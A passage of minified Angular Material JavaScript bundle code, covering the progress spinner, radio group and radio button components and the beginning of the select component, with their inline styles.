END_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n 100% { stroke-dashoffset: START_VALUE; transform: rotateX(180deg) rotate(341.5deg); }\\n }\\n".replace(/START_VALUE/g,""+.95*k).replace(/END_VALUE/g,""+.2*k).replace(/DIAMETER/g,`${this._spinnerAnimationLabel}`)}_getSpinnerAnimationLabel(){return this.diameter.toString().replace(".","_")}}G._diameters=new WeakMap,G.\\u0275fac=function(k){return new(k||G)(c.Y36(c.SBq),c.Y36(a.t4),c.Y36(u.K0,8),c.Y36(c.QbO,8),c.Y36(H),c.Y36(c.sBO),c.Y36(s.rL),c.Y36(c.R0b))},G.\\u0275cmp=c.Xpm({type:G,selectors:[["mat-progress-spinner"],["mat-spinner"]],hostAttrs:["role","progressbar","tabindex","-1",1,"mat-progress-spinner","mat-spinner"],hostVars:10,hostBindings:function(k,K){2&k&&(c.uIk("aria-valuemin","determinate"===K.mode?0:null)("aria-valuemax","determinate"===K.mode?100:null)("aria-valuenow","determinate"===K.mode?K.value:null)("mode",K.mode),c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.ekj("_mat-animation-noopable",K._noopAnimations))},inputs:{color:"color",diameter:"diameter",strokeWidth:"strokeWidth",mode:"mode",value:"value"},exportAs:["matProgressSpinner"],features:[c.qOj],decls:4,vars:8,consts:[["preserveAspectRatio","xMidYMid meet","focusable","false","aria-hidden","true",3,"ngSwitch"],["svg",""],["cx","50%","cy","50%",3,"animation-name","stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%",3,"stroke-dashoffset","stroke-dasharray","stroke-width","transform-origin",4,"ngSwitchCase"],["cx","50%","cy","50%"]],template:function(k,K){1&k&&(c.O4$(),c.TgZ(0,"svg",0,1),c.YNc(2,_,1,11,"circle",2),c.YNc(3,S,1,9,"circle",3),c.qZA()),2&k&&(c.Udp("width",K.diameter,"px")("height",K.diameter,"px"),c.Q6J("ngSwitch","indeterminate"===K.mode),c.uIk("viewBox",K._getViewBox()),c.xp6(2),c.Q6J("ngSwitchCase",!0),c.xp6(1),c.Q6J("ngSwitchCase",!1))},dependencies:[u.RF,u.n9],styles:[".mat-progress-spinner{display:block;position:relative;overflow:hidden}.mat-progress-spinner svg{position:absolute;transform:rotate(-90deg);top:0;left:0;transform-origin:center;overflow:visible}.mat-progress-spinner circle{fill:rgba(0,0,0,0);transition:stroke-dashoffset 225ms linear}.cdk-high-contrast-active .mat-progress-spinner circle{stroke:CanvasText}.mat-progress-spinner[mode=indeterminate] svg{animation:mat-progress-spinner-linear-rotate 2000ms linear infinite}.mat-progress-spinner[mode=indeterminate] circle{transition-property:stroke;animation-duration:4000ms;animation-timing-function:cubic-bezier(0.35, 0, 0.25, 1);animation-iteration-count:infinite}.mat-progress-spinner._mat-animation-noopable svg,.mat-progress-spinner._mat-animation-noopable circle{animation:none;transition:none}@keyframes mat-progress-spinner-linear-rotate{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes mat-progress-spinner-stroke-rotate-100{0%{stroke-dashoffset:268.606171575px;transform:rotate(0)}12.5%{stroke-dashoffset:56.5486677px;transform:rotate(0)}12.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(72.5deg)}25%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(72.5deg)}25.0001%{stroke-dashoffset:268.606171575px;transform:rotate(270deg)}37.5%{stroke-dashoffset:56.5486677px;transform:rotate(270deg)}37.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(161.5deg)}50%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(161.5deg)}50.0001%{stroke-dashoffset:268.606171575px;transform:rotate(180deg)}62.5%{stroke-dashoffset:56.5486677px;transform:rotate(180deg)}62.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(251.5deg)}75%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(251.5deg)}75.0001%{stroke-dashoffset:268.606171575px;transform:rotate(90deg)}87.5%{stroke-dashoffset:56.5486677px;transform:rotate(90deg)}87.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(341.5deg)}100%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(341.5deg)}}"],encapsulation:2,changeDetection:0});let Q=(()=>{class Ce{}return Ce.\\u0275fac=function(K){return new(K||Ce)},Ce.\\u0275mod=c.oAB({type:Ce}),Ce.\\u0275inj=c.cJS({imports:[f.BQ,u.ez,f.BQ]}),Ce})()},1948:(At,ae,d)=>{"use strict";d.d(ae,{Fk:()=>se,U0:()=>K,VQ:()=>Q});var n=d(4650),a=d(3238),s=d(2687),u=d(1281),c=d(5017),f=d(4006);const E=["input"],_=function(ee){return{enterDuration:ee}},S=["*"],g=new n.OlP("mat-radio-default-options",{providedIn:"root",factory:function C(){return{color:"accent"}}});let z=0;const H={provide:f.JU,useExisting:(0,n.Gpc)(()=>Q),multi:!0};class j{constructor(q,we){this.source=q,this.value=we}}const U=new n.OlP("MatRadioGroup");let G=(()=>{class ee{constructor(we){this._changeDetector=we,this._value=null,this._name="mat-radio-group-"+z++,this._selected=null,this._isInitialized=!1,this._labelPosition="after",this._disabled=!1,this._required=!1,this._controlValueAccessorChangeFn=()=>{},this.onTouched=()=>{},this.change=new n.vpe}get name(){return this._name}set name(we){this._name=we,this._updateRadioButtonNames()}get labelPosition(){return this._labelPosition}set labelPosition(we){this._labelPosition="before"===we?"before":"after",this._markRadiosForCheck()}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,this._updateSelectedRadioFromValue(),this._checkSelectedRadioButton())}_checkSelectedRadioButton(){this._selected&&!this._selected.checked&&(this._selected.checked=!0)}get selected(){return this._selected}set selected(we){this._selected=we,this.value=we?we.value:null,this._checkSelectedRadioButton()}get disabled(){return this._disabled}set disabled(we){this._disabled=(0,u.Ig)(we),this._markRadiosForCheck()}get required(){return this._required}set required(we){this._required=(0,u.Ig)(we),this._markRadiosForCheck()}ngAfterContentInit(){this._isInitialized=!0}_touch(){this.onTouched&&this.onTouched()}_updateRadioButtonNames(){this._radios&&this._radios.forEach(we=>{we.name=this.name,we._markForCheck()})}_updateSelectedRadioFromValue(){this._radios&&(null===this._selected||this._selected.value!==this._value)&&(this._selected=null,this._radios.forEach(ce=>{ce.checked=this.value===ce.value,ce.checked&&(this._selected=ce)}))}_emitChangeEvent(){this._isInitialized&&this.change.emit(new j(this._selected,this._value))}_markRadiosForCheck(){this._radios&&this._radios.forEach(we=>we._markForCheck())}writeValue(we){this.value=we,this._changeDetector.markForCheck()}registerOnChange(we){this._controlValueAccessorChangeFn=we}registerOnTouched(we){this.onTouched=we}setDisabledState(we){this.disabled=we,this._changeDetector.markForCheck()}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.sBO))},ee.\\u0275dir=n.lG2({type:ee,inputs:{color:"color",name:"name",labelPosition:"labelPosition",value:"value",selected:"selected",disabled:"disabled",required:"required"},outputs:{change:"change"}}),ee})(),Q=(()=>{class ee extends G{}return ee.\\u0275fac=function(){let q;return function(ce){return(q||(q=n.n5z(ee)))(ce||ee)}}(),ee.\\u0275dir=n.lG2({type:ee,selectors:[["mat-radio-group"]],contentQueries:function(we,ce,je){if(1&we&&n.Suo(je,K,5),2&we){let Ze;n.iGM(Ze=n.CRH())&&(ce._radios=Ze)}},hostAttrs:["role","radiogroup",1,"mat-radio-group"],exportAs:["matRadioGroup"],features:[n._Bn([H,{provide:U,useExisting:ee}]),n.qOj]}),ee})();class oe{constructor(q){this._elementRef=q}}const Ce=(0,a.Kr)((0,a.sb)(oe));let k=(()=>{class ee extends Ce{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(ce),this._changeDetector=je,this._focusMonitor=Ze,this._radioDispatcher=le,this._providerOverride=Qe,this._uniqueId="mat-radio-"+ ++z,this.id=this._uniqueId,this.change=new n.vpe,this._checked=!1,this._value=null,this._removeUniqueSelectionListener=()=>{},this.radioGroup=we,this._noopAnimations="NoopAnimations"===Oe,Ye&&(this.tabIndex=(0,u.su)(Ye,0)),this._removeUniqueSelectionListener=le.listen((qe,Ke)=>{qe!==this.id&&Ke===this.name&&(this.checked=!1)})}get checked(){return this._checked}set checked(we){const ce=(0,u.Ig)(we);this._checked!==ce&&(this._checked=ce,ce&&this.radioGroup&&this.radioGroup.value!==this.value?this.radioGroup.selected=this:!ce&&this.radioGroup&&this.radioGroup.value===this.value&&(this.radioGroup.selected=null),ce&&this._radioDispatcher.notify(this.id,this.name),this._changeDetector.markForCheck())}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,null!==this.radioGroup&&(this.checked||(this.checked=this.radioGroup.value===we),this.checked&&(this.radioGroup.selected=this)))}get labelPosition(){return this._labelPosition||this.radioGroup&&this.radioGroup.labelPosition||"after"}set labelPosition(we){this._labelPosition=we}get disabled(){return this._disabled||null!==this.radioGroup&&this.radioGroup.disabled}set disabled(we){this._setDisabled((0,u.Ig)(we))}get required(){return this._required||this.radioGroup&&this.radioGroup.required}set required(we){this._required=(0,u.Ig)(we)}get color(){return this._color||this.radioGroup&&this.radioGroup.color||this._providerOverride&&this._providerOverride.color||"accent"}set color(we){this._color=we}get inputId(){return`${this.id||this._uniqueId}-input`}focus(we,ce){ce?this._focusMonitor.focusVia(this._inputElement,ce,we):this._inputElement.nativeElement.focus(we)}_markForCheck(){this._changeDetector.markForCheck()}ngOnInit(){this.radioGroup&&(this.checked=this.radioGroup.value===this._value,this.checked&&(this.radioGroup.selected=this),this.name=this.radioGroup.name)}ngDoCheck(){this._updateTabIndex()}ngAfterViewInit(){this._updateTabIndex(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(we=>{!we&&this.radioGroup&&this.radioGroup._touch()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._removeUniqueSelectionListener()}_emitChangeEvent(){this.change.emit(new j(this,this._value))}_isRippleDisabled(){return this.disableRipple||this.disabled}_onInputClick(we){we.stopPropagation()}_onInputInteraction(we){if(we.stopPropagation(),!this.checked&&!this.disabled){const ce=this.radioGroup&&this.value!==this.radioGroup.value;this.checked=!0,this._emitChangeEvent(),this.radioGroup&&(this.radioGroup._controlValueAccessorChangeFn(this.value),ce&&this.radioGroup._emitChangeEvent())}}_setDisabled(we){this._disabled!==we&&(this._disabled=we,this._changeDetector.markForCheck())}_updateTabIndex(){const we=this.radioGroup;let ce;if(ce=we&&we.selected&&!this.disabled?we.selected===this?this.tabIndex:-1:this.tabIndex,ce!==this._previousTabIndex){const je=this._inputElement?.nativeElement;je&&(je.setAttribute("tabindex",ce+""),this._previousTabIndex=ce)}}}return ee.\\u0275fac=function(we){n.$Z()},ee.\\u0275dir=n.lG2({type:ee,viewQuery:function(we,ce){if(1&we&&n.Gf(E,5),2&we){let je;n.iGM(je=n.CRH())&&(ce._inputElement=je.first)}},inputs:{id:"id",name:"name",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],checked:"checked",value:"value",labelPosition:"labelPosition",disabled:"disabled",required:"required",color:"color"},outputs:{change:"change"},features:[n.qOj]}),ee})(),K=(()=>{class ee extends k{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(we,ce,je,Ze,le,Oe,Qe,Ye)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(U,8),n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(s.tE),n.Y36(c.A8),n.Y36(n.QbO,8),n.Y36(g,8),n.$8M("tabindex"))},ee.\\u0275cmp=n.Xpm({type:ee,selectors:[["mat-radio-button"]],hostAttrs:[1,"mat-radio-button"],hostVars:17,hostBindings:function(we,ce){1&we&&n.NdJ("focus",function(){return ce._inputElement.nativeElement.focus()}),2&we&&(n.uIk("tabindex",null)("id",ce.id)("aria-label",null)("aria-labelledby",null)("aria-describedby",null),n.ekj("mat-radio-checked",ce.checked)("mat-radio-disabled",ce.disabled)("_mat-animation-noopable",ce._noopAnimations)("mat-primary","primary"===ce.color)("mat-accent","accent"===ce.color)("mat-warn","warn"===ce.color))},inputs:{disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matRadioButton"],features:[n.qOj],ngContentSelectors:S,decls:13,vars:19,consts:[[1,"mat-radio-label"],["label",""],[1,"mat-radio-container"],[1,"mat-radio-outer-circle"],[1,"mat-radio-inner-circle"],["type","radio",1,"mat-radio-input",3,"id","checked","disabled","required","change","click"],["input",""],["mat-ripple","",1,"mat-radio-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-radio-persistent-ripple"],[1,"mat-radio-label-content"],[2,"display","none"]],template:function(we,ce){if(1&we&&(n.F$t(),n.TgZ(0,"label",0,1)(2,"span",2),n._UZ(3,"span",3)(4,"span",4),n.TgZ(5,"input",5,6),n.NdJ("change",function(Ze){return ce._onInputInteraction(Ze)})("click",function(Ze){return ce._onInputClick(Ze)}),n.qZA(),n.TgZ(7,"span",7),n._UZ(8,"span",8),n.qZA()(),n.TgZ(9,"span",9)(10,"span",10),n._uU(11,"\\xa0"),n.qZA(),n.Hsn(12),n.qZA()()),2&we){const je=n.MAs(1);n.uIk("for",ce.inputId),n.xp6(5),n.Q6J("id",ce.inputId)("checked",ce.checked)("disabled",ce.disabled)("required",ce.required),n.uIk("name",ce.name)("value",ce.value)("aria-label",ce.ariaLabel)("aria-labelledby",ce.ariaLabelledby)("aria-describedby",ce.ariaDescribedby),n.xp6(2),n.Q6J("matRippleTrigger",je)("matRippleDisabled",ce._isRippleDisabled())("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",n.VKq(17,_,ce._noopAnimations?0:150)),n.xp6(2),n.ekj("mat-radio-label-before","before"==ce.labelPosition)}},dependencies:[a.wG],styles:[\'.mat-radio-button{display:inline-block;-webkit-tap-highlight-color:rgba(0,0,0,0);outline:0}.mat-radio-label{-webkit-user-select:none;user-select:none;cursor:pointer;display:inline-flex;align-items:center;white-space:nowrap;vertical-align:middle;width:100%}.mat-radio-container{box-sizing:border-box;display:inline-block;position:relative;width:20px;height:20px;flex-shrink:0}.mat-radio-outer-circle{box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;transition:border-color ease 280ms;width:20px;border-width:2px;border-style:solid;border-radius:50%}._mat-animation-noopable .mat-radio-outer-circle{transition:none}.mat-radio-inner-circle{border-radius:50%;box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;opacity:0;transition:transform ease 280ms,background-color ease 280ms,opacity linear 1ms 280ms;width:20px;transform:scale(0.001);-webkit-print-color-adjust:exact;color-adjust:exact}.mat-radio-checked .mat-radio-inner-circle{transform:scale(0.5);opacity:1;transition:transform ease 280ms,background-color ease 280ms}.cdk-high-contrast-active .mat-radio-checked .mat-radio-inner-circle{border:solid 10px}._mat-animation-noopable .mat-radio-inner-circle{transition:none}.mat-radio-label-content{-webkit-user-select:auto;user-select:auto;display:inline-block;order:0;line-height:inherit;padding-left:8px;padding-right:0}[dir=rtl] .mat-radio-label-content{padding-right:8px;padding-left:0}.mat-radio-label-content.mat-radio-label-before{order:-1;padding-left:0;padding-right:8px}[dir=rtl] .mat-radio-label-content.mat-radio-label-before{padding-right:0;padding-left:8px}.mat-radio-disabled,.mat-radio-disabled .mat-radio-label{cursor:default}.mat-radio-button .mat-radio-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-radio-button .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple){opacity:.16}.mat-radio-persistent-ripple{width:100%;height:100%;transform:none;top:0;left:0}.mat-radio-container:hover .mat-radio-persistent-ripple{opacity:.04}.mat-radio-button:not(.mat-radio-disabled).cdk-keyboard-focused .mat-radio-persistent-ripple,.mat-radio-button:not(.mat-radio-disabled).cdk-program-focused .mat-radio-persistent-ripple{opacity:.12}.mat-radio-persistent-ripple,.mat-radio-disabled .mat-radio-container:hover .mat-radio-persistent-ripple{opacity:0}@media(hover: none){.mat-radio-container:hover .mat-radio-persistent-ripple{display:none}}.mat-radio-input{opacity:0;position:absolute;top:0;left:0;margin:0;width:100%;height:100%;cursor:inherit;z-index:-1}.mat-radio-input:focus~.mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-radio-disabled{opacity:.5}\'],encapsulation:2,changeDetection:0}),ee})(),se=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),ee})()},4385:(At,ae,d)=>{"use strict";d.d(ae,{$L:()=>Je,LD:()=>Pt,gD:()=>Dt});var n=d(8184),a=d(6895),s=d(4650),u=d(3238),c=d(9549),f=d(7261),E=d(2687),_=d(445),S=d(1281),g=d(5017),C=d(9521),z=d(4006),H=d(8929),j=d(8514),U=d(6787),G=d(1059),Q=d(7545),oe=d(2986),Ce=d(2198),k=d(4850),K=d(5778),se=d(7625),ee=d(7340);const q=["trigger"],we=["panel"];function ce(Ie,te){if(1&Ie&&(s.TgZ(0,"span",8),s._uU(1),s.qZA()),2&Ie){const x=s.oxw();s.xp6(1),s.Oqu(x.placeholder)}}function je(Ie,te){if(1&Ie&&(s.TgZ(0,"span",12),s._uU(1),s.qZA()),2&Ie){const x=s.oxw(2);s.xp6(1),s.Oqu(x.triggerValue)}}function Ze(Ie,te){1&Ie&&s.Hsn(0,0,["*ngSwitchCase","true"])}function le(Ie,te){if(1&Ie&&(s.TgZ(0,"span",9),s.YNc(1,je,2,1,"span",10),s.YNc(2,Ze,1,0,"ng-content",11),s.qZA()),2&Ie){const x=s.oxw();s.Q6J("ngSwitch",!!x.customTrigger),s.xp6(2),s.Q6J("ngSwitchCase",!0)}}function Oe(Ie,te){if(1&Ie){const x=s.EpF();s.TgZ(0,"div",13)(1,"div",14,15),s.NdJ("@transformPanel.done",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._panelDoneAnimatingStream.next(b.toState))})("keydown",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._handleKeydown(b))}),s.Hsn(3,1),s.qZA()()}if(2&Ie){const x=s.oxw();s.Q6J("@transformPanelWrap",void 0),s.xp6(1),s.Gre("mat-select-panel ",x._getPanelTheme(),""),s.Udp("transform-origin",x._transformOrigin)("font-size",x._triggerFontSize,"px"),s.Q6J("ngClass",x.panelClass)("@transformPanel",x.multiple?"showing-multiple":"showing"),s.uIk("id",x.id+"-panel")("aria-multiselectable",x.multiple)("aria-label",x.ariaLabel||null)("aria-labelledby",x._getPanelAriaLabelledby())}}const Qe=[[["mat-select-trigger"]],"*"],Ye=["mat-select-trigger","*"],qe={transformPanelWrap:(0,ee.X$)("transformPanelWrap",[(0,ee.eR)("* => void",(0,ee.IO)("@transformPanel",[(0,ee.pV)()],{optional:!0}))]),transformPanel:(0,ee.X$)("transformPanel",[(0,ee.SB)("void",(0,ee.oB)({transform:"scaleY(0.8)",minWidth:"100%",opacity:0})),(0,ee.SB)("showing",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 32px)",transform:"scaleY(1)"})),(0,ee.SB)("showing-multiple",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 64px)",transform:"scaleY(1)"})),(0,ee.eR)("void => *",(0,ee.jt)("120ms cubic-bezier(0, 0, 0.2, 1)")),(0,ee.eR)("* => void",(0,ee.jt)("100ms 25ms linear",(0,ee.oB)({opacity:0})))])};let ze=0;const pe=new s.OlP("mat-select-scroll-strategy"),w=new s.OlP("MAT_SELECT_CONFIG"),R={provide:pe,deps:[n.aV],useFactory:function P(Ie){return()=>Ie.scrollStrategies.reposition()}};class X{constructor(te,x){this.source=te,this.value=x}}const _e=(0,u.Kr)((0,u.sb)((0,u.Id)((0,u.FD)(class{constructor(Ie,te,x,m,b){this._elementRef=Ie,this._defaultErrorStateMatcher=te,this._parentForm=x,this._parentFormGroup=m,this.ngControl=b,this.stateChanges=new H.xQ}})))),ct=new s.OlP("MatSelectTrigger");let Je=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275dir=s.lG2({type:Ie,selectors:[["mat-select-trigger"]],features:[s._Bn([{provide:ct,useExisting:Ie}])]}),Ie})(),Et=(()=>{class Ie extends _e{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){super(ie,B,it,wt,Gt),this._viewportRuler=x,this._changeDetectorRef=m,this._ngZone=b,this._dir=Xe,this._parentFormField=Vt,this._liveAnnouncer=c1,this._defaultOptions=It,this._panelOpen=!1,this._compareWith=(_t,kt)=>_t===kt,this._uid="mat-select-"+ze++,this._triggerAriaLabelledBy=null,this._destroy=new H.xQ,this._onChange=()=>{},this._onTouched=()=>{},this._valueId="mat-select-value-"+ze++,this._panelDoneAnimatingStream=new H.xQ,this._overlayPanelClass=this._defaultOptions?.overlayPanelClass||"",this._focused=!1,this.controlType="mat-select",this._multiple=!1,this._disableOptionCentering=this._defaultOptions?.disableOptionCentering??!1,this.ariaLabel="",this.optionSelectionChanges=(0,j.P)(()=>{const _t=this.options;return _t?_t.changes.pipe((0,G.O)(_t),(0,Q.w)(()=>(0,U.T)(..._t.map(kt=>kt.onSelectionChange)))):this._ngZone.onStable.pipe((0,oe.q)(1),(0,Q.w)(()=>this.optionSelectionChanges))}),this.openedChange=new s.vpe,this._openedStream=this.openedChange.pipe((0,Ce.h)(_t=>_t),(0,k.U)(()=>{})),this._closedStream=this.openedChange.pipe((0,Ce.h)(_t=>!_t),(0,k.U)(()=>{})),this.selectionChange=new s.vpe,this.valueChange=new s.vpe,this.ngControl&&(this.ngControl.valueAccessor=this),null!=It?.typeaheadDebounceInterval&&(this._typeaheadDebounceInterval=It.typeaheadDebounceInterval),this._scrollStrategyFactory=u1,this._scrollStrategy=this._scrollStrategyFactory(),this.tabIndex=parseInt(qt)||0,this.id=this.id}get focused(){return this._focused||this._panelOpen}get placeholder(){return this._placeholder}set placeholder(x){this._placeholder=x,this.stateChanges.next()}get required(){return this._required??this.ngControl?.control?.hasValidator(z.kI.required)??!1}set required(x){this._required=(0,S.Ig)(x),this.stateChanges.next()}get multiple(){return this._multiple}set multiple(x){this._multiple=(0,S.Ig)(x)}get disableOptionCentering(){return this._disableOptionCentering}set disableOptionCentering(x){this._disableOptionCentering=(0,S.Ig)(x)}get compareWith(){return this._compareWith}set compareWith(x){this._compareWith=x,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(x){this._assignValue(x)&&this._onChange(x)}get typeaheadDebounceInterval(){return this._typeaheadDebounceInterval}set typeaheadDebounceInterval(x){this._typeaheadDebounceInterval=(0,S.su)(x)}get id(){return this._id}set id(x){this._id=x||this._uid,this.stateChanges.next()}ngOnInit(){this._selectionModel=new g.Ov(this.multiple),this.stateChanges.next(),this._panelDoneAnimatingStream.pipe((0,K.x)(),(0,se.R)(this._destroy)).subscribe(()=>this._panelDoneAnimating(this.panelOpen))}ngAfterContentInit(){this._initKeyManager(),this._selectionModel.changed.pipe((0,se.R)(this._destroy)).subscribe(x=>{x.added.forEach(m=>m.select()),x.removed.forEach(m=>m.deselect())}),this.options.changes.pipe((0,G.O)(null),(0,se.R)(this._destroy)).subscribe(()=>{this._resetOptions(),this._initializeSelection()})}ngDoCheck(){const x=this._getTriggerAriaLabelledby(),m=this.ngControl;if(x!==this._triggerAriaLabelledBy){const b=this._elementRef.nativeElement;this._triggerAriaLabelledBy=x,x?b.setAttribute("aria-labelledby",x):b.removeAttribute("aria-labelledby")}m&&(this._previousControl!==m.control&&(void 0!==this._previousControl&&null!==m.disabled&&m.disabled!==this.disabled&&(this.disabled=m.disabled),this._previousControl=m.control),this.updateErrorState())}ngOnChanges(x){(x.disabled||x.userAriaDescribedBy)&&this.stateChanges.next(),x.typeaheadDebounceInterval&&this._keyManager&&this._keyManager.withTypeAhead(this._typeaheadDebounceInterval)}ngOnDestroy(){this._destroy.next(),this._destroy.complete(),this.stateChanges.complete()}toggle(){this.panelOpen?this.close():this.open()}open(){this._canOpen()&&(this._panelOpen=!0,this._keyManager.withHorizontalOrientation(null),this._highlightCorrectOption(),this._changeDetectorRef.markForCheck())}close(){this._panelOpen&&(this._panelOpen=!1,this._keyManager.withHorizontalOrientation(this._isRtl()?"rtl":"ltr"),this._changeDetectorRef.markForCheck(),this._onTouched())}writeValue(x){this._assignValue(x)}registerOnChange(x){this._onChange=x}registerOnTouched(x){this._onTouched=x}setDisabledState(x){this.disabled=x,this._changeDetectorRef.markForCheck(),this.stateChanges.next()}get panelOpen(){return this._panelOpen}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get triggerValue(){if(this.empty)return"";if(this._multiple){const x=this._selectionModel.selected.map(m=>m.viewValue);return this._isRtl()&&x.reverse(),x.join(", ")}return this._selectionModel.selected[0].viewValue}_isRtl(){return!!this._dir&&"rtl"===this._dir.value}_handleKeydown(x){this.disabled||(this.panelOpen?this._handleOpenKeydown(x):this._handleClosedKeydown(x))}_handleClosedKeydown(x){const m=x.keyCode,b=m===C.JH||m===C.LH||m===C.oh||m===C.SV,B=m===C.K5||m===C.L_,ie=this._keyManager;if(!ie.isTyping()&&B&&!(0,C.Vb)(x)||(this.multiple||x.altKey)&&b)x.preventDefault(),this.open();else if(!this.multiple){const Xe=this.selected;ie.onKeydown(x);const it=this.selected;it&&Xe!==it&&this._liveAnnouncer.announce(it.viewValue,1e4)}}_handleOpenKeydown(x){const m=this._keyManager,b=x.keyCode,B=b===C.JH||b===C.LH,ie=m.isTyping();if(B&&x.altKey)x.preventDefault(),this.close();else if(ie||b!==C.K5&&b!==C.L_||!m.activeItem||(0,C.Vb)(x))if(!ie&&this._multiple&&b===C.A&&x.ctrlKey){x.preventDefault();const Xe=this.options.some(it=>!it.disabled&&!it.selected);this.options.forEach(it=>{it.disabled||(Xe?it.select():it.deselect())})}else{const Xe=m.activeItemIndex;m.onKeydown(x),this._multiple&&B&&x.shiftKey&&m.activeItem&&m.activeItemIndex!==Xe&&m.activeItem._selectViaInteraction()}else x.preventDefault(),m.activeItem._selectViaInteraction()}_onFocus(){this.disabled||(this._focused=!0,this.stateChanges.next())}_onBlur(){this._focused=!1,!this.disabled&&!this.panelOpen&&(this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next())}_onAttached(){this._overlayDir.positionChange.pipe((0,oe.q)(1)).subscribe(()=>{this._changeDetectorRef.detectChanges(),this._positioningSettled()})}_getPanelTheme(){return this._parentFormField?`mat-${this._parentFormField.color}`:""}get empty(){return!this._selectionModel||this._selectionModel.isEmpty()}_initializeSelection(){Promise.resolve().then(()=>{this.ngControl&&(this._value=this.ngControl.value),this._setSelectionByValue(this._value),this.stateChanges.next()})}_setSelectionByValue(x){if(this._selectionModel.selected.forEach(m=>m.setInactiveStyles()),this._selectionModel.clear(),this.multiple&&x)Array.isArray(x),x.forEach(m=>this._selectOptionByValue(m)),this._sortValues();else{const m=this._selectOptionByValue(x);m?this._keyManager.updateActiveItem(m):this.panelOpen||this._keyManager.updateActiveItem(-1)}this._changeDetectorRef.markForCheck()}_selectOptionByValue(x){const m=this.options.find(b=>{if(this._selectionModel.isSelected(b))return!1;try{return null!=b.value&&this._compareWith(b.value,x)}catch{return!1}});return m&&this._selectionModel.select(m),m}_assignValue(x){return!!(x!==this._value||this._multiple&&Array.isArray(x))&&(this.options&&this._setSelectionByValue(x),this._value=x,!0)}_initKeyManager(){this._keyManager=new E.s1(this.options).withTypeAhead(this._typeaheadDebounceInterval).withVerticalOrientation().withHorizontalOrientation(this._isRtl()?"rtl":"ltr").withHomeAndEnd().withAllowedModifierKeys(["shiftKey"]),this._keyManager.tabOut.pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction(),this.focus(),this.close())}),this._keyManager.change.pipe((0,se.R)(this._destroy)).subscribe(()=>{this._panelOpen&&this.panel?this._scrollOptionIntoView(this._keyManager.activeItemIndex||0):!this._panelOpen&&!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction()})}_resetOptions(){const x=(0,U.T)(this.options.changes,this._destroy);this.optionSelectionChanges.pipe((0,se.R)(x)).subscribe(m=>{this._onSelect(m.source,m.isUserInput),m.isUserInput&&!this.multiple&&this._panelOpen&&(this.close(),this.focus())}),(0,U.T)(...this.options.map(m=>m._stateChanges)).pipe((0,se.R)(x)).subscribe(()=>{this._changeDetectorRef.markForCheck(),this.stateChanges.next()})}_onSelect(x,m){const b=this._selectionModel.isSelected(x);null!=x.value||this._multiple?(b!==x.selected&&(x.selected?this._selectionModel.select(x):this._selectionModel.deselect(x)),m&&this._keyManager.setActiveItem(x),this.multiple&&(this._sortValues(),m&&this.focus())):(x.deselect(),this._selectionModel.clear(),null!=this.value&&this._propagateChanges(x.value)),b!==this._selectionModel.isSelected(x)&&this._propagateChanges(),this.stateChanges.next()}_sortValues(){if(this.multiple){const x=this.options.toArray();this._selectionModel.sort((m,b)=>this.sortComparator?this.sortComparator(m,b,x):x.indexOf(m)-x.indexOf(b)),this.stateChanges.next()}}_propagateChanges(x){let 